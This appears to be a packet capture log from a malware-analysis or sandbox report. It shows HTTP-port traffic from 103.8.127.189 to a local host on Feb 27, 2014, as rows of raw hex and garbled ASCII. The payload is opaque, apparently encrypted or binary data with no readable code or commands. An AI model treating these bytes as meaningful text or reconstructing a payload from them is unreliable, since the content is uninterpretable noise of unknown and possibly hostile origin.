Feb 27, 2014 17:56:10.466491938 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: e4 e9 be bc cb ae fd b9 71 a5 e2 f0 22 a5 d3 f9 e2 20 be bc af 68 9f 19 4a 28 be 75 02 4d 93 f0 84 ae 56 79 48 46 f3 5d c6 a9 60 f9 2e 21 d3 9c 66 05 5f f0 4a 48 aa 5d c6 a5 f3 20 ee 8c bb 70 0f 5d 1e b9 0d 11 df f9 cb c4 1e 1f 0b 25 57 f0 4a 47 Data Ascii: q" hJ(uMVyHF]`.!f_JH] p]%WJGqB`]<= (wKR7JtNe{I'z'HLRPNY@Z[9MadHP\-CR-J-~}=71_9X]#){'xC,`*7Zj-B`s	961
Feb 27, 2014 17:56:10.466505051 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 7e fe 04 59 8a a4 c9 3d cb 21 19 90 aa 9b 56 c5 8a a4 83 b1 c7 a0 8b d4 26 1c 14 89 35 6c 1f e3 6e 0c 17 5d 65 48 d7 f1 e2 24 d7 f1 e2 0c 1a b1 ae 0a 96 39 42 1a be 39 42 17 37 35 ca c5 1a 72 69 ab f2 7c 4e 48 d5 26 4c 68 b9 7d 23 04 93 90 3e 7f Data Ascii: ~Y=!V&5ln]eH$9B9B75ri\|NH&Lh}#>tNLzv!~PG}Hx'FD,\|yJw:W\Ql0\&YhMIF"~t% ~'{^Si$V2+HM{A	963
Feb 27, 2014 17:56:10.466624022 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 80 ac 17 90 a6 21 cd fc 0a c0 17 b1 39 08 96 90 03 40 97 e9 ca 2c 7b 45 48 a7 fb 1d c7 8d d7 72 ae 21 12 a0 4a ab b3 36 6a 28 7e bd ca 12 d7 a9 8e 56 37 79 ce c5 17 46 0a bb 7b f9 48 68 57 8c e2 2d 17 91 c2 1e 17 74 4f 48 7f 54 27 c1 9a f9 6e a4 Data Ascii: !9@,{EHr!J6j(~V7yF{HhW-tOHT'nWQBJlt',B`lgW}!",(yBU,Vf,WU4yl!u"J]t'[VJd~w!/Khq#8S->	964
Feb 27, 2014 17:56:10.560416937 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: a6 08 bf f9 43 d3 d3 5d c6 61 e1 90 46 a5 77 79 7d 6c b6 db 42 ac 77 f9 66 19 d6 79 e6 c1 e3 74 42 a8 be 79 2a 72 9a d5 b2 ec 17 f0 a2 0c ce f0 8e 24 df f9 a7 a5 d3 75 42 63 d3 78 62 c5 fa 47 4b b9 14 39 00 25 20 38 8a e0 b7 55 23 49 77 39 e1 a7 Data Ascii: C]aFwy}lBwfytByr$uBcxbGK9% 8U#Iw9)p,jT#m<C`t^}J!vxw`W!UJPP$tJx,WXP'!25z`\~\7$G`IqJ iY#,VJ~	966
Feb 27, 2014 17:56:10.560434103 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4b 96 1f 48 58 ad e7 df 8f 35 97 f0 03 c4 fc db af bc 58 f9 43 e4 e7 db cb 21 1f fd 4a 41 d7 f8 a2 52 96 31 4a 05 57 73 ae 6c be b9 20 ac f3 50 82 48 7a 58 e3 ec 17 1c e3 6d 16 90 c2 ce f3 f9 ce a5 52 a2 e3 e8 f3 f0 4a 07 d2 75 eb ec a4 11 ce ac Data Ascii: KHX5XC!JAR1JWsl PHzXmRJui1pHz ~x~}HG1oM#$PHyNRP c-t<iwJtJ?yJ@#?#)tlHq`0W}B,Evm80^<.D	967
Feb 27, 2014 17:56:10.560436010 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: ca ac bb 22 ea ed 5a 74 b1 2d 17 91 2a cc 8e f8 27 65 3b f9 8b 64 ff f0 8a 06 97 f0 4a 2c f2 98 03 61 db b8 08 ac d3 f0 2b ad 31 9d cb 49 17 79 ff c4 d7 35 ca 7f 97 78 0a 0e ea 7c 4b 21 bf 54 4a 9f 17 78 e5 84 f7 3c 8e 96 97 f9 63 68 d2 2f 8e 2c Data Ascii: "Zt-'e;dJ,a+1Iy5x\|K!TJx<ch/,0xiO}W%.I?J0,thyhTa4,OJ!09]\|"-H_7yM0(J,j)50C$YVCsI*\JD<h8,"ILIY~	968
Feb 27, 2014 17:56:10.571440935 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 17 f4 fd a1 5f 94 27 58 7a c9 22 45 be c7 e8 af 37 dd 4e 33 17 b9 af 25 b6 25 0a 48 1e fd 4f 43 97 fa 27 7c 3e 95 cb a8 97 96 aa 8c 5f 05 23 c1 7a f9 0e ae 97 79 8a 65 e8 1c 4a c5 ff 31 15 e4 d7 79 47 a8 b8 fc 48 a4 d7 94 cf bd db f9 aa 68 97 b2 Data Ascii: _'Xz"E7N3%%HOC'\|>_#zyeJ1yGHhR<{L9YDbMJ5}3*&-~F{NfptgW4&.2~-Yg^yFa;_-yr4gJ.N&xs8;^<	969
Feb 27, 2014 17:56:10.571459055 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 7f 70 47 2c 0d f8 4b ec 9b 38 8e a1 04 7d c7 24 d7 f4 8d 2c 56 91 bd 28 27 86 58 53 67 f8 c3 5a 57 fd ca 51 7f bb 82 ed 12 90 c3 a1 fc 29 4a c4 13 0e e7 ec 03 d6 eb c8 d2 f4 ca ab d3 5d e6 44 e9 79 ca c9 0f 28 c6 49 d7 c0 fa a0 1e 47 0e 85 57 6b Data Ascii: pG,K8}$,V('XSgZWQ)J]Dy(IGWkewcuf)D^2xU_6hy#,KyJ,LyxR_R{Ky?a2Y,t"o,9$Q'xuGwb	971
Feb 27, 2014 17:56:10.571571112 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: ff 79 b5 6c 09 38 b6 3e d6 b9 65 a1 d7 39 7f fd f7 79 42 ac 4c f1 03 c4 de 56 23 c1 17 94 8e ac 1f 35 ee 28 cb e8 8e bf 7e f8 f5 6c 6f f8 b4 c0 37 75 c7 a9 2c 11 ca ae 68 11 4a 2c ff 10 e6 08 1e fc 22 ac 6c 1d 4a 2d 97 26 eb e5 17 f0 22 a7 d6 fc Data Ascii: yl8>e9yBLV#5(~lo7u,hJ,"lJ-&"'!N`y-JbxxTJoWi=}7<Z$Pb,B]uC,6zy`y?U&ey\",0'KF]y"-UqZz-'O,	972
Feb 27, 2014 17:56:10.852097034 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 97 99 aa b6 39 79 27 49 17 79 8f 6d d3 94 af ad 9b fc ca d6 d0 3a 6e a1 df 94 fe c9 17 b0 c2 e5 17 95 0b c4 13 fd 65 a0 97 b2 74 ed da 35 87 2c 96 30 0a 20 97 d6 8e cc 3b cb 6c cc 32 70 7c ce 32 39 0f 2c dc f9 4b 08 97 11 e5 88 52 39 ca 2c fc 94 Data Ascii: 9y'Iym:net5,0 ;l2p\|29,KR9,Y~}C(W,s=}h+}@Klt'Uy&e*!2OZ)>/>$4U'zZ@'OjJzS}O7!>$F[	973
Feb 27, 2014 17:56:10.852106094 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: d7 64 7a 85 f8 bc 9a ad 08 f0 03 e4 7f b9 e7 2c 17 3d 34 0c 13 19 8a a0 53 34 83 69 87 b9 c1 8d 1b f9 47 49 ab 71 43 e0 52 93 4a 28 d7 15 8a 17 97 91 83 a8 9a 00 da 81 db f3 ce 61 52 e9 ce 66 3f b0 1a ec db 90 6b 2c 1e c4 cb 2c d6 38 be de 29 2b Data Ascii: dz,=4S4iGIqCRJ(aRf?k,,8)+,#< D@Kl@tN\|VPY3\|y@y Q(,hJiv(vtNWJ>Y,Hy"7tNgv!3"hbz6N{IPUxt^	975
Feb 27, 2014 17:56:10.852118969 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 12 6e 03 48 db 79 04 28 97 91 ae f1 df 79 04 ed 94 b7 08 86 f2 f9 c2 a5 09 b5 22 68 7e 4d 4b ec 59 b9 45 48 bf f0 8f f4 1d 79 0a e4 6a b9 02 05 eb 78 af 8c 93 bd 10 69 9b ba 07 20 aa f8 8e a8 9e bd 18 69 9b 78 4b ac e9 58 ca c1 b6 09 27 4d 16 f8 Data Ascii: nHy(y"h~MKYEHyjxi ixKX'MZDIJIfu"az'z='TaaWyJ& 'excJyJHhi9/#,i=sEJ`}WD,XwlyNWJ&	976
Feb 27, 2014 17:56:10.873945951 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: db b8 c8 6c 9f 38 4a c1 d6 3d 8f a1 54 3c 26 ac 1e 91 92 6c ff 71 8b c1 57 58 2e c1 92 f8 86 cc 93 a2 4b 0c 4f 51 be a5 da 95 22 1b 37 3c 23 2c 97 e6 09 27 b6 fc 4c c1 d7 a8 2a dc 7f 39 a2 28 4c f9 8f 44 9b 94 66 49 7b 94 de 29 46 d8 4c 77 57 de Data Ascii: l8J=T<&lqWX.KOQ"7<#,'L9(LDfI{)FLwW[wN9fk'I7O+(S5C~Lsh3@(kO"C7zP"HYLiisuZQw}u4xlj<')_mUi*,WS4`/\G(Jh9^+\|7=GY	977
Feb 27, 2014 17:56:10.873963118 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4e 99 42 8e e8 99 42 ad 55 b5 fa 07 90 fd 6b 2e 3e f4 4f a8 28 49 e6 a5 14 d9 af c4 ff 75 14 cc 67 39 b7 a4 7f b1 8b 0c 19 f8 0e 28 3a 38 ca c9 f7 0e a2 28 96 09 44 18 14 e4 7a fd 33 08 44 3d 4d 19 67 64 78 54 4a 2c 96 79 25 2c f2 38 a2 ac d9 39 Data Ascii: NBBUk.>O(Iug9(:8(Dz3D=MgdxTJ,y%,89Gi7lG^}9Q<N,i7G<3zvzt#(mjHRRHS<BZ[)8ZI9~iE57YKyb-\=	979
Feb 27, 2014 17:56:10.874083996 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: d7 f0 1c e0 07 91 ae a5 aa b9 81 69 e8 b5 8a a9 57 74 b4 a8 da 38 43 ac 78 f9 b7 6c d2 f0 06 e6 7f 34 59 6d 04 7d 3c 65 38 b9 c0 a5 e9 34 4a e8 16 90 93 0c 9a f9 e7 ae 7e 7b 49 69 57 f0 a7 f5 5b f9 cb e9 1e 1a 8f ec 1a 38 4a f3 57 78 0e a5 7c 3c Data Ascii: iWt8Cxl4Ym}<e84J~{IiW[8JWx\|<R<)J[uqd4uHO[5j(}~UNL)}Jm~dP_hJB~BCidtJ,yC}37CL	980
Feb 27, 2014 17:56:10.906883955 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 1f 91 95 81 57 fd f5 0c 57 34 4a 60 27 30 43 c9 da d4 0b a4 7f f8 22 4c be 58 0a af bf f8 6a aa 65 3d ca 21 d2 42 cf ad d5 e9 0b a5 d6 10 c6 68 12 79 0a 60 f2 71 43 6d 6c 99 4a ac 9b 06 23 0c 1e 18 c3 24 17 50 0e 4c d7 5c 43 6d 93 f9 e5 a1 93 3d Data Ascii: WW4J`'0C"LXje=!Bhy`qCmlJ#$PL\Cm=TWJ!C,Hi@wJ 9$&W5 E+%s=-$X$J(ucAK2i$'a(Ax(V,5Z5+izhu\H5<G	982
Feb 27, 2014 17:56:10.906900883 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: fa 50 ca 20 f7 bc 4b 0d 5e 38 5a db 12 6d 4f 60 8f fc 87 60 1f b8 40 2e de 38 1d 0c 5e 90 2b a6 77 f1 4a ad 31 55 ca 48 93 cd 2e a8 d3 7d db f3 7a 5d 3a c1 92 bd ee 4c b7 f7 27 08 a7 49 f1 4c 06 19 db 60 56 4b ea 60 1e 97 8f ad 47 d1 98 cd 3f 7d Data Ascii: P K^8ZmO``@.8^+wJ1UH.}z]:L'IL`VK`G?}JHB&J_xJ`}TmuHk%'Qh5lTC5MWuiWDCJGa{845-8,9m8CDZ"w)7C.{yK+"):x1,9]7wM	983
Feb 27, 2014 17:56:10.906903028 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 15 ff e3 c4 f3 79 cf ba 1e b4 22 0c b8 b9 ca 2c b6 c5 0a ad 7b 78 b8 0c 07 f9 c7 52 d3 99 2e 68 c4 5d ea 0c 96 1d b7 29 b7 ee cb 0d 00 eb 91 ac 16 75 4f ac 16 f8 24 48 87 5d c6 2c e0 79 0e 28 d2 9e 5b 2d f6 db b4 e9 7f 3d 26 dc 15 a4 4a a1 db 5d Data Ascii: y",{xR.h])uO$H],y([-=&J]Qx#6a?5eYj=CH]m$5GJ-yC ox53VgfL"Asj(x)#SJz@8C$QpJWlW yea	984
Feb 27, 2014 17:56:10.928740025 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: aa 16 7f fe 22 a8 76 95 2a 44 1f b1 43 8a 5b e9 22 49 f2 4d 2a a3 da 02 22 8c 7f 14 af 50 96 39 c5 5c 1f e9 0b 65 1e 5b 2a a3 97 20 ca a5 f7 af 83 69 77 ad 61 a1 db 7d 4a 6c f8 10 0a 04 7f 66 67 ac f3 78 ca 23 13 b9 af 29 15 0e 6a 8b 7e 4b ef ad Data Ascii: "vDC["IM"P9\e[* iwa}Jlfgx#)j~K]Jy)QDW]-#L,(KI,hEx4jAE5$QE$PxJ!9GmQ"H-VW z5ELZN?}mqMCmF+6v!*	985
Feb 27, 2014 17:56:10.928756952 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4e 77 52 58 68 a1 df 1d 42 5b 37 35 ee 2d 1e 8a 6a fa 1e 0f 4a 65 d3 b8 23 53 96 9d 0b bc 16 7e 2b 2d 37 8c 27 6c 1f fd 86 a3 67 f8 86 73 b3 5d 47 ac df 06 ae 6d d7 94 1e 48 07 5d ee 69 6b 39 4c c4 78 99 da 25 97 79 65 9c 03 18 bc 1c 4f fd ce 11 Data Ascii: NwRXhB[75-jJe#S~+-7'lgs]GmH]ik9Lx%yeOfQ#UvPiQ34Jda8$93)A\|$C%Y.9ClqVxo#(z$rxp%DQ'yK6	987
Feb 27, 2014 17:56:10.928881884 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 6d 0c 12 9d ae 5d b7 f8 42 81 f7 9a 4a a0 97 06 ae 09 07 3d 27 cc f3 f9 98 d3 1a 31 4a 2d 97 46 ca c4 df f9 bd ac 97 79 4f ec e8 1c cb a5 17 b4 00 c4 be 50 cb 7b 97 d9 a2 24 7a 15 cf ec 69 af ca 2d 57 87 94 05 96 dc 82 5d 15 96 48 a9 57 f5 d5 2c Data Ascii: m]BJ='1J-FyOP{$zi-W]HW,<a2OT" D&TtN^,4a(mhXH$w%;xQly,zn/7ZL"'smk7#P\|HJsCh]~}V	988
Feb 27, 2014 17:56:10.939671993 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 23 02 96 f0 8f 4c 97 30 0b 6c 7d d9 8b 68 7a 39 ea d7 7a f9 36 ec 16 91 cb cb f2 7d 4a 0d 73 89 eb e5 ff 79 41 39 57 ea ea 4d 04 5d c9 ac d6 3d 29 ae 13 51 57 2d 69 a3 22 21 7b 94 08 7c 67 93 22 8b 53 51 1a a8 1e d9 0e 60 da 58 83 7c 54 ff c2 bc Data Ascii: #L0l}hz9z6}JsyA9WM]=)QW-i"!{\|g"SQ`X\|T<C"A&EyJ04}K,/7(zjiB$_ww5+ Rh$JH]"W[$WSuN5,`yqa,~xCF	990
Feb 27, 2014 17:56:10.939678907 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 9a 91 48 5d 6a 20 1e 98 93 6c 87 f2 39 2c 1e 9c 26 7c df e9 7f ee be b8 af a4 f7 dc e3 9c 4b a6 af 44 d2 d1 a2 ca 97 29 d9 73 07 39 8b 78 91 38 58 76 67 c0 10 c4 5b 70 6e 25 13 7d 43 bc 91 b9 4f c1 d7 04 5a 6d 9a 3d 22 8c d4 5d c6 51 0e 19 aa 6d Data Ascii: H]j l9,&\|KD)s9x8Xvg[pn%}COZm="]Qms+ !IfGJ9wX?W.!2))Rl"Kn>IyJ#,cpyCiB1I'IvYy'IPJ=)T}j<`C"Cx,	991
Feb 27, 2014 17:56:10.939681053 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 0a a5 d3 f9 e2 a9 f0 b9 ae e9 ff 23 48 01 77 fb 3d 65 7f 5d 2a d8 05 95 8a af 18 95 8a af c7 b8 43 a4 d3 55 73 2c 31 d5 bc 44 bb b1 47 69 9a 59 41 25 cb 59 41 a1 05 fa ea a7 d2 0d ea a7 d3 f7 8a ed 16 a1 4f 44 ba f4 29 2e 18 79 49 20 18 b9 64 13 Data Ascii: #Hw=e]CUs,1DGiYA%YAOD).yI d'9A+{cNeyD8Ge+R;ZNWUTcrvN<qX+W<<.kiGisX3N(zEX0&xXK/B7BD<J0"h?*G	992
Feb 27, 2014 17:56:11.164987087 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 60 48 13 04 eb bc 00 56 47 61 96 f0 ca 52 52 91 e7 a9 6c 94 9a ba 17 f6 af 21 7f 3c 35 25 97 f9 ca a8 68 b9 ae 28 36 25 0a 2d 7e 7c 22 43 b2 09 4a 33 1e 89 5a cc 12 89 5a 61 3b 35 87 ac 1f b8 50 65 57 7d ca 83 14 5b 7c dc 78 f0 08 49 9b 3c a2 2c Data Ascii: `HVGaRRl!<5%h(6%-~\|"CJ3ZZa;5PeW}[\|xI<,e}CG~a9G,x9,I{yJH'I{\ZHGixuCaKE7l\|WL#JI.j)"H,7umJh2yN^C# m\-gx	993
Feb 27, 2014 17:56:11.186949015 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: f7 b6 0a 13 07 fe 0a e5 7f fd 0f c5 27 43 eb e5 9a f7 6e ac 5e 38 4e a3 57 74 8f e5 17 14 ea ec bf b8 78 65 9e e9 0a c9 1b b1 8a 9c 7a b8 eb a4 57 b8 c4 9c 09 98 43 c1 92 f1 06 4c 03 99 6f e4 ae f0 86 ac 93 94 e6 09 3f 34 8e d2 17 79 43 2d 7a 1d Data Ascii: 'Cn^8NWtxezWCLo?4yC-z(z[[[MH'q'&Hl\|"v,HZ`M(,\|O}J-xRlG7"IL[L`F.)=fh.){+s\|L=Lx(*juY	994
Feb 27, 2014 17:56:11.186955929 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: db f9 ee 29 cc 1d cb a5 d3 d7 18 24 97 c0 8d 61 d7 e5 a5 ec 6c bc db ac 4c 75 4e 5b 17 dd 43 03 97 ea 4e a1 e0 f9 09 a1 e8 3d ee 24 55 bd 4a aa b7 79 b5 6c 17 e0 25 ae bb fb 6e c4 3e 78 b8 c1 7a 71 42 e4 1e 79 4e 24 aa 15 ca a0 05 82 8a 84 97 44 Data Ascii: )$alLuN[CN=$UJyl%n>xzqByN$DJ2~\|bQ,,zT-",gzJ,5V=v7W$bl"IHu-R}E\H\|CRHS5}mi}CJI.k#. ]GaY^mx	996
Feb 27, 2014 17:56:11.187041044 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 33 b0 a2 28 1a 1e 4e a5 07 ee c5 2c 07 f7 92 c4 77 b0 4a 2c fc 79 4f ec fa 05 ce ac b7 b9 23 62 b7 11 c2 c1 17 55 ae 08 97 f4 3d a8 33 31 cb 2c b8 e9 51 29 c6 1a 54 9c 71 eb f7 7e 55 fd 66 2d 16 d9 cb 60 85 25 fa e4 1e 47 ca a9 d3 85 ca a9 33 b0 Data Ascii: 3(N,wJ,yO#bU=31,Q)Tq~Uf-`%G3,yu5CW3Yp,,Shx,q,$KZNRU}B(9:zXtGTWwhY<Cj 'Y9g <[MC(CxK }Jja	996
Feb 27, 2014 17:56:11.209244967 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: a4 6c 37 f0 bd ad 57 f9 4f 5b 7a 74 4e 04 f9 fa b8 e9 67 fb 4b 5a 7f 59 c7 ac 13 a3 c7 ad 58 f0 0a a5 5a 62 0a c4 3b dd 27 74 7a 89 56 92 13 f5 c6 8c 10 79 e3 40 b3 2e 4a 08 f3 5d 8f 75 1e b0 22 a0 77 57 8a 83 f7 84 c7 a8 7e 14 49 7c 12 f8 4e 28 Data Ascii: l7WO[ztNgKZYXZb;'tzVy@.J]u"wW~I\|N(;,yuO^G,#KM='\|jey\VKL8-0IU"aF'h8lRw^hPQ-i'x	998
Feb 27, 2014 17:56:11.209255934 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 44 60 17 f7 26 ac 19 79 4a 04 17 55 b7 6c d6 f4 46 f3 b3 fb e2 ad 52 91 47 c1 ec 95 27 ac 1a 3d 45 08 df 39 8b 59 1e f9 00 04 e8 fb 00 41 7a 95 27 ec 67 f4 4e 08 37 06 4a 3c 1e 79 b4 e1 d7 91 a2 32 d7 7b 3d 0c f3 3d c7 76 32 f9 46 93 17 f5 4a 64 Data Ascii: D`&yJUlFRG'=E9YAz'gN7J<y2{==v2FJd1)'"yGhh7K?NC,eNJ)=9G=l5"{&z}S}JH,N=,{ey\|l5`]-"`/:NMl	999
Feb 27, 2014 17:56:11.209259987 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: c8 18 57 fd 0e 6d e8 b9 4e a5 15 91 2a a5 65 fd 4e ed 16 45 66 24 97 3a 8e bc 97 90 43 13 17 f2 43 52 ba f9 86 49 d3 af ca 80 17 79 18 6a 77 fb a3 11 74 fb 8a ce 15 b1 46 2c d5 98 48 4b 13 8f ca 80 5b 6d cb 66 77 fb 83 48 13 b9 ab 6c 2a 99 66 a4 Data Ascii: WmNeNEf$:CCRIyjwtF,HK[mfwHlf3NFH?*NGN"{L7O7JiK:mdC,!#6yT0JW"JRaWCw9yf3NTzHMC	1001
Feb 27, 2014 17:56:11.209265947 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 2e ed 17 95 c2 d7 1e b1 4b c8 bd f9 c7 ed 76 71 f5 a5 7b b8 42 c5 ba 75 1a ac 74 91 ca 05 13 90 d1 8c 24 7d b7 ad 77 74 42 48 bf 31 aa 9e f8 5d 42 28 17 79 a4 a4 d3 5d cb 50 9a f9 6e ec 1f 77 4a ac 32 39 48 7e 17 d5 22 4d 16 9c c7 2d 97 53 26 84 Data Ascii: .Kvq{But$}wtBH1]B(y]PnwJ29H~"M-S&dJhU{ I<~\| (F~8z(]W]Y@C=],le9(h7] rxlyErq/-y,(8	1002
Feb 27, 2014 17:56:11.209269047 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 52 44 39 79 47 61 73 f9 f5 c4 fa 58 27 6c 7a 11 c2 2c 96 c2 4a 39 13 07 4a 2c f2 fd 35 6c 17 f5 35 c4 72 58 27 a8 e7 94 ca 17 38 3c 22 6c 1a f9 9d 61 73 91 0f 50 b6 94 4a c1 d6 f8 47 69 73 39 bf ad 97 e9 22 53 f6 5d 27 c1 47 f9 a2 28 7a 1c db 24 Data Ascii: RD9yGasX'lz,J9J,5l5rX'8<"lasPJGis9"S]'G(z$zPiyMSK47},J!s(J],TF[8in)##78d:jz(l~j5[PysjIqbXw9we:'%"tO	1004
Feb 27, 2014 17:56:11.209435940 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 23 d4 37 f7 4a c9 1c 34 0b ad 7e 92 ca ac f3 71 83 77 f3 78 eb ec 17 9a 0b 44 b6 31 eb ed ff df ea ec 17 f9 4f 03 d6 59 7b bc 1e e9 22 0d 5e 79 3a ef db 64 ee ac 93 51 c7 78 9a fd 6b 2c 15 4a 8a 8c db 06 ee 28 7f 58 48 72 17 e4 4e af 57 74 4e 8c Data Ascii: #7J4~qwxD1OY{"^y:dQxk,J(XHrNWtN;NzqCh&_""a{nxzyrRxj\|zzSp\|V+B]Hh5JUCVQhl5-h+Wy@YD]^H{<+Y\:Pr'iK	1005
Feb 27, 2014 17:56:11.230860949 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: cb c4 be b5 fa 4c 5b f9 43 48 3e 5d ee a8 5e 06 42 21 12 f1 fb 93 ff 71 b3 61 15 3c db d1 bb f0 a6 51 b3 75 41 ac b3 99 47 a1 a7 c3 c6 c4 e0 b0 da 0d 96 79 85 2c 2f 3c bf 2c 07 f9 c2 31 16 94 27 49 97 35 cb 3c 25 1e ce c5 fa f1 24 3c 12 f5 43 5e Data Ascii: L[CH>]^B!qa<QuAGy,/<,1'I5<%$<C^p"xe,o^%6J$R0C#EWl<x1oP5Pb#EHe(\5xq,:R(CRz}*&?(Q6\P[`+cx8a5:I`	1006
Feb 27, 2014 17:56:11.230876923 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: cf 28 52 37 8a 80 33 79 be 6c 13 90 b4 2c 13 5d a5 ac 92 78 0f 68 2c 5d ca 28 17 79 91 2c 97 f0 4e 57 b3 fb 0a 2c 28 79 42 68 b3 06 cf 6d 16 e3 ce 44 93 39 27 ee 01 39 40 a4 9b 44 cf 6c 26 22 ee 0c 97 f9 27 40 53 f0 8e 08 38 75 43 ec 11 8e ee ad Data Ascii: (R73yl,]xh,](y,NW,(yBhmD9'9@Dl&"'@S8uC(b3yJ,WtCl4aMW,WqJ,&8]<C`(+xtPVXW8C`$x"_9fF9^xym-=EyIC7N&EJ!3!9l!	1008
Feb 27, 2014 17:56:11.230880022 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: da ec 1a ae 5d 2c 09 79 25 2c 0c 04 5a ae d7 44 27 8c 92 59 af b9 d3 d9 2d 17 9b f0 9b aa 12 50 68 e1 fa 79 b8 2c 1f 74 4f 01 46 b9 eb 50 57 1d 4a 05 92 1f c7 a9 b3 78 f5 ac 97 79 e3 68 e0 5d ea 49 73 55 be 5c 36 5d 55 7f 1c b8 69 24 04 08 1e dc Data Ascii: ],y%,ZD'Y-Phy,tOFPWJxyh]IsU\6]Ui$cq2$7uyJ,yWN8(]z YVWSh$~ut$xKS}9eWUFH@KR](7?y:yhU]C6esCwL(FBiJW	1009
Feb 27, 2014 17:56:11.285698891 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: e6 13 1e bc a2 2c 97 63 83 25 56 f0 24 6c a7 bb 8a 6c 45 39 22 9b 1f 69 4f bc 06 6d 4f 25 1e 23 ca ad 1e 0f 0f bc 7f d1 c7 dd d7 ec 07 57 7e db ce fe 26 91 e7 52 27 fc 4b 92 06 b9 69 a8 1c 54 ea 8e 57 f8 27 bc 96 1d c7 61 37 e8 44 c4 7e f9 83 a5 Data Ascii: ,c%V$llE9"iOmO%#W~&R'KiTW'a7D~q"eDC$68Z1ZX\|"=rMd\|Ay9I%O'h"Li+BJiJyh++W*HzqG{zq.m	1010
Feb 27, 2014 17:56:11.285716057 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 0b ec 21 90 cf 21 fd f9 4c ed 17 c6 22 29 16 99 b1 2d 1e f9 ce 0d ef b9 23 29 ff 13 4a c1 7e 79 a2 c6 7b 31 86 ac 1e eb 2f 61 57 71 91 2c 17 f9 6e e4 c4 3d ca ec 5f d9 b5 68 97 b1 02 2c 0e b9 02 ac e0 3d ca e8 5f 0a 8e 2c 3d bc 2b ae 76 38 4b 2c Data Ascii: !!L")-#)J~y{1/aWq,n=_h,=_,=+v8K,Z9K 6HH&<Nd,8\C="l[S9CJ0POKr<=y5,LJv$5<eO{uMR"'['a	1012
Feb 27, 2014 17:56:11.285718918 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: ca 7b 97 f9 8e 05 76 19 aa e5 1e 35 48 a7 07 ba 0b 74 7f d5 0a 2c 45 1e eb 97 f0 51 3b a0 b7 29 46 73 1e f9 56 e1 ec 9b 47 00 d7 91 22 8e c8 b9 59 a5 95 99 6b 3f 1f 9d 1a 29 96 72 ae ec 07 a6 0a 9d 5a 49 90 6c 7f 39 1a f5 97 5b b5 fc 1a fd 8e f7 Data Ascii: {v5Ht,EQ;)FsVG"Yk?)rZIl9['rX6<UCsyC5(%x#pB-y;%,5aC\4i.n>H4<jlN`nvNHhgWUChGrHmCALILIaG`CK	1013
Feb 27, 2014 17:56:11.285722017 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 43 e0 7a f9 8a 0d 9f fc 0a 21 69 fd 4a 6c 7a 94 9a c1 b6 b9 8a ac 18 34 86 61 de fd 4b e8 17 59 c2 5b 97 79 0a 20 ec f9 ca a5 5e 91 a1 c8 7b 94 4a c1 57 58 0a c5 7f c2 a2 ac 97 31 23 0a 76 d9 cb ed 17 67 6a 2d 57 71 31 2c 7f f9 0f c0 ef 94 27 8c Data Ascii: Cz!iJlz4aKY[y ^{JWX1#vgj-Wq1,'JXVw#x,K(xi"AJ EiCx=(=hyO[z(.[J(uy_'IC~]lJVH"H)wXNm='IyO_'I	1015
Feb 27, 2014 17:56:11.285734892 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4a 97 be 75 eb e8 4d 50 0f ac f2 78 7d 6c b6 b9 4b 22 57 b8 e2 65 f2 20 2e 0c b8 78 4a a5 57 30 0a 0e 9f 79 8b 2c 1e 0b 03 0d 5e 3c 07 6d 87 f9 6c c5 be 30 ce 77 fb 59 4a 69 1e fb 23 a5 96 1d 20 ac be 35 cf 08 6e 1d c6 ad 17 b9 51 08 ff 79 cb 4a Data Ascii: JuMPx}lK"We .xJW0y,^<ml0wYJi# 5nQyJR=](sOWhx\|a,*jvyD2yIy(]CB[9Be/5xJ4\W}K/dWYBl}4Knpw&l,Q}JX"&z	1016
